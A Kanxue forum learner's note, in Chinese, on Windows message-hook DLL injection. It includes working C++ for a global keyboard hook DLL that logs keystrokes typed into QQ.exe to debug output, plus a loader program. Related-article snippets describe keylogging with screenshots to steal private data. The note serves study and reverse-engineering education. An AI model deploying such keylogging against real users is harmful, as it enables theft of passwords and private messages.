萌新逆向學習筆記——消息鉤子鍵盤記錄

2021-02-25 看雪學院

本文為看雪論壇優秀文章

看雪論壇作者ID:psycongroo

我還記得小時候——大概08年那會兒,流行玩一款叫夢幻西遊的網遊。那時候我尚幼小,並沒有諸如電腦病毒,木馬等概念,反正拿到滑鼠鍵盤就是一頓操作,玩玩遊戲就行。直到有一天電腦突然彈出一個記事本exe,上面寫道:「你的馬面真的是垃圾。」本沉迷網遊的我一下從夢中驚醒。還沒等我反應過來,滑鼠不受控制,右下角退出瑞星殺毒軟體。後來兩個遊戲號陸續被盜,讓我很是沉悶一段時間。

直到現在我學習了《逆向工程核心原理》,看到了DLL注入的一種方式——消息鉤子注入。才忽然恍然大悟,仿佛抓到了當年被盜號的真相的尾巴。


本文是筆者的學習讀書筆記,用以總結記錄,如有錯誤,多多指出。倘若讀者為逆向入門,也不妨嘗試閱讀此文。如果讀者沒看懂代碼不要緊代碼部分可跳過,緊記住整個的流程,對關鍵的API產生印象。待日後熟悉了C++和一些API,也自然看得懂了。

從代碼上來看,就是利用微軟官方提供的API SetWindowsHookExA/SetWindowsHookExW來設置消息鉤子,攔截特定的輸入(如鍵盤和滑鼠等)。
1. 當我們通過鍵盤輸入,系統(OS)會把鍵盤輸入這個事件發送到系統消息隊列(OS message queue)2. 隨後系統會從這個消息隊列裡拿出這個事件,判斷這個輸入是在哪個程序發生的。3. 發送到輸入發生地程序的消息列表中(application message queue)而調用SetWindowsHookExA/`SetWindowsHookExW事實上就是在OS message queue和application message queue之間設置了一個鉤子,有了它我們就可以在鍵盤輸入這個事件到達目標程序前處理事件。因此你可以用來偷偷記錄,亦或者是更改其內容。很神奇吧,為什麼是在OS message queue和application message queue間設置了鉤子而不是在其他地方呢?這不是筆者說的算的,這是本來就存在的,是微軟就是這麼設計的,並不是什麼黑科技。而在OS message queue和application message queue之間的鉤子,實際上是一個鉤鏈。這意味著鉤子可以設置多個。他們會像排隊一樣按順序的處理輸入的事件,鉤子的代碼裡也可以決定是否把事件給下一個鉤子處理。

首先看一下SetWindowsHookExW需要的參數
HHOOK SetWindowsHookExW(  int       idHook,  HOOKPROC  lpfn,  HINSTANCE hmod,  DWORD     dwThreadId);

1. int hook——指定事件的鉤子ID,如鍵盤事件WH_KEYBOARD。設置後只對鍵盤輸入起反應。2. HOOKPROC lpfn——鉤子的處理函數,若設置的是鍵盤輸入鉤子,必須是微軟定義的一個叫KeyboardProc的函數。3. HINSTANCE hmod——模塊句柄,因此一般設置鉤子的地方在DLL中。4. DWORD dwThreadId——需要設置鉤子的線程ID,倘若為0則為全局鉤子(所有程序都鉤)。
LRESULT CALLBACK KeyboardProc(  _In_ int    code,  _In_ WPARAM wParam,  _In_ LPARAM lParam);

1. int code——有三種值,小於0,等於0,等於3。
1.1 小於0:表示必須調用CallNextHookEx函數傳遞消息,傳遞給下一個鉤子。並且不能做過多處理
1.2 等於0:表示參數wParam和lParam 包含關於按鍵虛擬值相關信息,相關具體值,可看文檔(我們正是需要這種)
1.3 等於3:包含第二種情況,同時表示該按鍵事件被使用PeekMessage方法偷看過2. WPARAM wParam——鍵盤輸入按鍵對應的虛擬值(我們用這個判斷按下什麼鍵)。3. LPARAM lParam——包含各種各樣的值,需要的可看官方文檔。


首先看看實際調用SetWindowsHookExW的地方。這是一個自己寫的DLL。他通過__declspec(dllexport)關鍵字來導出函數,來給我們寫的程序(EXE)調用啟動。
#define DllExport __declspec(dllexport)extern "C" {     DllExport void HookStart() {         myHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, myModule, 0);    }     DllExport void HookStop() {          UnhookWindowsHookEx(myHook);        myHook = NULL;    }}

請注意我們需要寫兩個PE文件,一個是exe,一個是dll。鉤子設置以及實現的內容均在dll中,exe只是一個藥引子,用來啟動它。至於為什麼要這樣,這是大概是因為SetWindowsHookEx的使用必須是在模塊當中。而這裡用關鍵字導出兩個函數,是為了給藥引子程序來啟動它。可以看到SetWindowsHookEx的第二個參數KeyboardProc就是我們核心的內容,它記錄了鍵盤的輸入:
#define DEF_PROCESS_NAME L"QQ.exe"LRESULT CALLBACK KeyboardProc(    _In_ int    code,    _In_ WPARAM wParam,    _In_ LPARAM lParam) {    WCHAR szPath[MAX_PATH] = { 0 };    WCHAR* p = NULL;    if (code == 0)    {        if (!(lParam & 0x80000000))          {            GetModuleFileName(NULL, szPath, MAX_PATH);              p = wcsrchr(szPath, '\\');              setlocale(LC_ALL, "");             BOOL isTarget = !_wcsicmp(p + 1, DEF_PROCESS_NAME);             BOOL isNumberLetter = wParam >= 0x30 && wParam <= 0x39 || wParam >= 0x41 && wParam <= 0x5A;              OutputDebugString(p+1);              OutputDebugString(szPath);            if (isTarget && isNumberLetter)            {                result.push_back((WCHAR)wParam);            }            if (wParam == VK_RETURN)              {                OutputDebugString(getInput());                 result.clear();            }        }    }    return CallNextHookEx(myHook, code, wParam, lParam);}

這裡大概邏輯是先拿到當前調用DLL的文件名,判斷是否為QQ.exe,如果是則記錄在list中,當按下回車時,將list中記錄的內容輸入到debug消息。代碼不難,前提是有C++基礎。SetWindowsHookEx的第三個參數myModule可以在DLL初始化時獲得:
HMODULE myModule = NULL;BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        myModule = hModule;         break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

還是說明一下,這裡的DllMain方法是DLL初始化時必定會走的地方,所以這裡又是一個"微軟規定"。至此,鍵盤記錄的核心實現內容已講解完,剩下的還有"藥引子"exe程序。
#define HOOK_START "HookStart"#define HOOK_STOP "HookStop"#define DLL_NAME "KeyHook.dll"PEN_HOOKSTART hookStart = NULL;PEN_HOOKSTOP hookStop = NULL;HMODULE hdll;hdll = LoadLibraryA(DLL_NAME); hookStop = (PEN_HOOKSTOP)GetProcAddress(hdll, HOOK_STOP);   hookStart = (PEN_HOOKSTART)GetProcAddress(hdll, HOOK_START);hookStart();

這裡主要看看核心代碼即可,整個過程為DLL常規的調用。載入DLL->從DLL中獲取函數->調用。倘若是第一次接觸相關API建議看看相關文檔,這裡只涉及LoadLibraryA和GetProcAddress兩個API。請注意GetProcAddress獲取的函數必須是通過先前關鍵字導出的函數,否則無法獲取。ps:注意使用DebugView來查看debug輸出。因為筆者調用的函數是輸出到debug日誌裡的而不是控制臺上。


字母大小寫有一個明顯的問題就是,記錄的虛擬按鍵值無法區分大小寫。這是因為提供的虛擬按鍵值並沒有字母大小寫之分見文檔。
藥引子程序卡死當安裝鉤子後,藥引子程序會卡死。經過相關百度和文檔查閱可得知這是因為DLL和被掛鈎子的程序位不一樣。
如:筆者寫的DLL為32位鉤子,而目標程序為64位程序。
這樣就會導致按鍵事件分發不到具體的鉤子處理函數,而事件已經被標誌為已掛鈎,必須找到處理函數。這就會產生事件無法得到處理,程序卡死的現象:Because hooks run in the context of an application, they must match the "bitness" of the application. If a 32-bit application installs a global hook on 64-bit Windows, the 32-bit hook is injected into each 32-bit process (the usual security boundaries apply). In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx. This means that the hooking application must continue to pump messages or it might block the normal functioning of the 64-bit processes一句話來說就是32位的DLL鉤子只能注入32位程序,同理64位也是如此。但問題是我的藥引子程序也是32位的,DLL也是32位的,雖然筆者設置的是全局鉤子,但為何還會卡死呢?值得一提的是,當把DLL和藥引子程序均設為64位時,藥引子程序便沒有卡死。
當從書裡出來,自己實現一遍遇到各種各樣的問題並解決後,原本覺得是天書的代碼煥然一新,仿佛覺得能信手拈來。鉤子注入的核心在於對攔截事件的處理。而作為新手的我們,應該先注重如何注入鉤子,再去考慮如何處理事件。當兩者已瞭然於胸,到時候離逆向之路也會走的更遠了吧。https://share.weiyun.com/3nCWkg6z

看雪ID:psycongroo

https://bbs.pediy.com/user-899080.htm

  *本文由看雪論壇 psycongroo 原創,轉載請註明來自看雪社區。

相關焦點

  • 鍵盤記錄並截屏
    註:文章只為娛樂,請勿濫用鍵盤記錄,通過插入鍵盤hook記錄鍵盤的操作,進而盜取他人的隱私信息,如果在加上截屏,那就更加防不勝防了。今天,01就用python模擬一個鍵盤記錄並截屏的程序。鍵盤hook(鉤子),是一種可以監控鍵盤操作的鉤子的本質是一段用以處理系統消息的程序,通過系統調用,將其掛入系統指令。每當特定的消息發出,在到達目的窗口之前,鉤子先行截獲該消息、得到對此消息的控制權。此時在鉤子函數中就可以對截獲的消息進行加工處理,甚至可以強制結束消息的傳遞。 而鍵盤鉤子,只是為了截獲鍵盤消息的。
  • 自學Android逆向的學習難點
    學習建議一首先,自學安卓逆向,一定要有清晰明確的學習思維。第一步:最要緊的就是買一本入門android逆向的入門書籍,第一遍,先把書籍通讀一遍,至少要明白安卓逆向中大部分的專有名詞,基本的名詞都不知道,那就別談後期的學習和實踐了。第二步:當你明白了有哪些專有名詞之後,就可以開始對照著書籍,動手。
  • Notability Mac 破解版 - 強大的學習筆記記錄應用
    Notability Mac版是一款強大的筆記記錄應用,可以注釋文檔,草圖創意,錄製講座,記筆記等。Notability結合了打字,手寫,錄音和照片,因此您可以創建符合您需求的筆記。藉助iCloud支持,您的筆記始終可在iPad,iPhone和Mac上隨時隨地使用。Notability 功能很全面,而且製作非常精緻用心。
  • 超好用的筆記app,記錄你生活學習的每一點滴
    此時,又該如何記筆記呢?而今天,來給大家介紹幾款好用的筆記軟體,OCR掃描,收藏轉存,信息收錄整理等等功能,絕對可以讓你的學習工作更加高效!2、高效的記錄能力(1)使用筆記相關功能,打造專屬於自己的筆記庫。(2)筆記中支持插入文檔、圖片、音頻等多種類型文件。(3)可以使用素材庫、模板等功能幫助創建筆記。3、多端同步、分享協作功能手機、電腦、平板、網頁等多平臺實時同步,也可通過微信、微博分享,團隊多人協作完成。
  • 一邊挖礦一邊學習?玩家用《我的世界》記錄課堂筆記
    近日,《我的世界》與學習教育相結合的例子成為玩家社群中的熱門話題,博士帶大家來看看。這件事情非常的簡單,就是一位叫做「Atka_XD」的網友在知名論壇上和大家分享了一張照片,照片中「Atka_XD」的朋友在課堂上把《我的世界》當作筆記本來學習,在裡面記錄老師提到的重點內容。
  • 筆記在英語學習中的重要性與記筆記的方法
    記筆記是學生在學習過程中養成的良好習慣。它不僅在平時的研究中起著重要的作用,而且在複習階段也起著重要的作用。那麼,如果筆記學習風格,在英語學習中使用,會起到什麼作用呢?學生在做筆記時,應該注意什麼?接下來,我會詳細解釋給你聽。一、筆記在英語學習中的重要性1.它有助於提高課堂學習的注意力和動手習慣。聽和不記得可能會分散學生的學習注意力。
  • 程式設計師們之間常說的鉤子「hook」是啥意思?
    程式設計師尤其 Windows 程式設計師會經常說「下個鉤子」,小編還是一名學生的時候,對說出這個短語的人真是崇拜至極。這麼多年過去了,小編還會不經意間蹦出這幾個字,即使已經了解這是一名程式設計師的基本功,說起來依然覺得有範兒。
  • 安卓逆向學習之詳解Hook含義及作用
    hook英文單詞意為「鉤子」,很形象的,它的作用就是去調用或者篡改APP代碼。舉一個簡單的例子。消消樂風靡的時候大受歡迎,相信男女老幼都對這款遊戲不陌生。開心消消樂這個小遊戲,相信各位小夥伴都玩過。而在進行遊戲時,闖關是很有成就感。遊戲大神們自然是輕輕鬆鬆「unbelievable」、「amazing」!
  • 《子彈筆記》:記錄生活
    You Tube上爆紅的《子彈筆記》,是一種用不斷更新的列表來捕捉和整理想法的筆記系統,用它來管理日程、做計劃、列清單、記筆記等。創始人賴德·卡羅爾小時候被診斷為多動症,注意力無法集中嚴重影響了他的學習和生活。
  • Python盜號原理-代碼實現截屏鍵盤記錄遠程發送(不要做壞事)
    最簡單的,也是技術手段相對較低的盜號方式當屬釣魚了(當然,社工更考驗心理),除了釣魚網站,就是發布某些帶有誘惑性的工具,誘導消費者下載,運行後開啟後門,或者啟用鉤子進行鍵盤記錄。本篇文章我們就來講一講技術的實現。
  • 床長人工智慧教程免費文檔——學習Unity3D的筆記
    學習的筆記在學習時記錄的筆記的筆記中一類的警告的解決方案中沒有高級保存選項的解決方案中和的區別中關於四元數的詳解轉載自類默認方向方向的表示法①歐拉角表示法②前方上方矢量界定法③繞軸旋轉界定法④向到向相對旋轉表示法成員變量成員函數靜態函數驗證前方上方矢量表示法總結幾種表示方法將四元數旋轉應用於子彈射擊示例在學習時記錄的筆記的筆記
  • 虛擬鍵盤除了打字還能做什麼?Moment Keyboard 還能查個天氣記個筆記
    「當下需求當下解決」,用戶無需切換,在移動端虛擬鍵盤上就能實現筆記記錄、多國語言翻譯、天氣查詢、聯繫人輸出、計算器這5大功能,未來會基於聊天場景的需要開發更多功能。 Moment 創始人林超龍介紹說,Moment 抓取的客群是那些追求效率,懶得找應用,並且對Moment 提供的功能有強需求的 18~30 歲的年輕用戶。
  • 學習辦公利器:華為 MatePad Pro 5G「享做筆記」體驗
    突入其來的一個超長假期,讓遠程學習辦公的人數飛速增長,擁有出色移動辦公、學習記錄功能的平板設備成為了消費者眼中的「新寵兒」。5月下旬,華為正式發布了國內首款5G平板華為MatePad Pro 5G,堪稱安卓平板用戶的「不二之選」。
  • 推薦:Android逆向安全4大書籍,從入門到精通
    Android逆向安全是一個很熱門高薪的行業,很多人都想要去學習這門技術,但又有多少人能夠學會呢?很多人都沒有找對學習的方法,而學習的方法有兩種,第一就是跟著培訓班走,第二就是要有學習路線,第一種很簡單適合很多人,第二種就難了,很多人因為缺乏自制力而沒有堅持下去。
  • 在線教育時代,做好學習筆記將會讓學習事半功倍
    在線教育時代,中學生學習做好學習筆記很重要。在校學習的時候,大家會看到有的學生在專心聽老師講課,但是有的學生只是在聽課,而還有一些學生在認真聽老師講課的同時在用心地做學習筆記。對於同樣認真聽課的學生,後續的表現如何呢?
  • 電子筆記App全面介紹,找到適合你的,隨時記錄靈感!
    電子筆記App全面介紹,找到適合你的,隨時記錄靈感!先談談電子筆記的三大明顯優勢記錄形式太豐富了!紙質筆記你只能記錄文字、表格,電子筆記除了記錄文字、表格、圖片以外,還可以記錄視頻、音頻等多媒體資料,豐富了知識面!
  • 我最常用的日記 / 學習筆記 / 備忘軟體
    而使用OneNote,按照我上面提到的方式進行日記記錄,會發現不管是寫新日記,還是回頭查找,都非常便捷。所以把它同時當做我的筆記本也是非常便利的,除了[我的日記]這個部分,我還會新建一個[筆記],把所有或工作或學習或愛好的筆記全部丟在這個筆記本裡。
  • 華為MatePad 10.8:輕鬆搞定筆記記錄和數據傳輸,Z世代高效學習優解
    對於 Z 世代的學生群體而言,通過傳統紙質形式查詢資料或者做記錄的吸引力正在變得越來越弱,相對來講,無論時效性、便捷性還是高效性,以平板電腦為代表的電子設備明顯更有優勢。  另外,它的這根手寫筆採用了磁力吸附充電,快充 20 秒即可使用 10 分鐘,約 30 分鐘即可蓄滿能量,可供書寫 10 小時,這也從另外一個角度保證了使用過程中的連貫性,所帶來的使用體驗提升是實實在在的,無論用來記筆記還是繪畫塗鴉都非常方便。  當然,在大屏設備上處理論文等重度文字工作時,物理鍵盤顯然更具優勢。
  • 課堂筆記要記錄自己的學習思路
    談到考試成績優異的心得,張曦予表示,她從小學就養成了良好的學習習慣,習慣自己總結學習方法。比如,上課時認真做好筆記,不僅僅記錄老師講的內容,還要記下當時自己的思路。每節課後,張曦予媽媽還會考她知識點,這促使她記得更加細緻,思考得更多。張曦予還會在課後幫沒有消化好知識點的同學講解,在這個過程中,她也是不斷地自我複習,鞏固知識點。
  • Vue框架之生命周期鉤子
    學習計劃安排如下:Vue的深入學習,emm準確地說還不能算是深入學習,我有點高估自己的學習進度了。本來打算兩天時間做一個基礎入門的,畢竟教程也就一天的內容,看來計劃趕不上變化。vue中三大常用屬性的小結、生命周期鉤子的了解,以及指令的初步接觸。指令有點多,只能留到明天繼續補全了。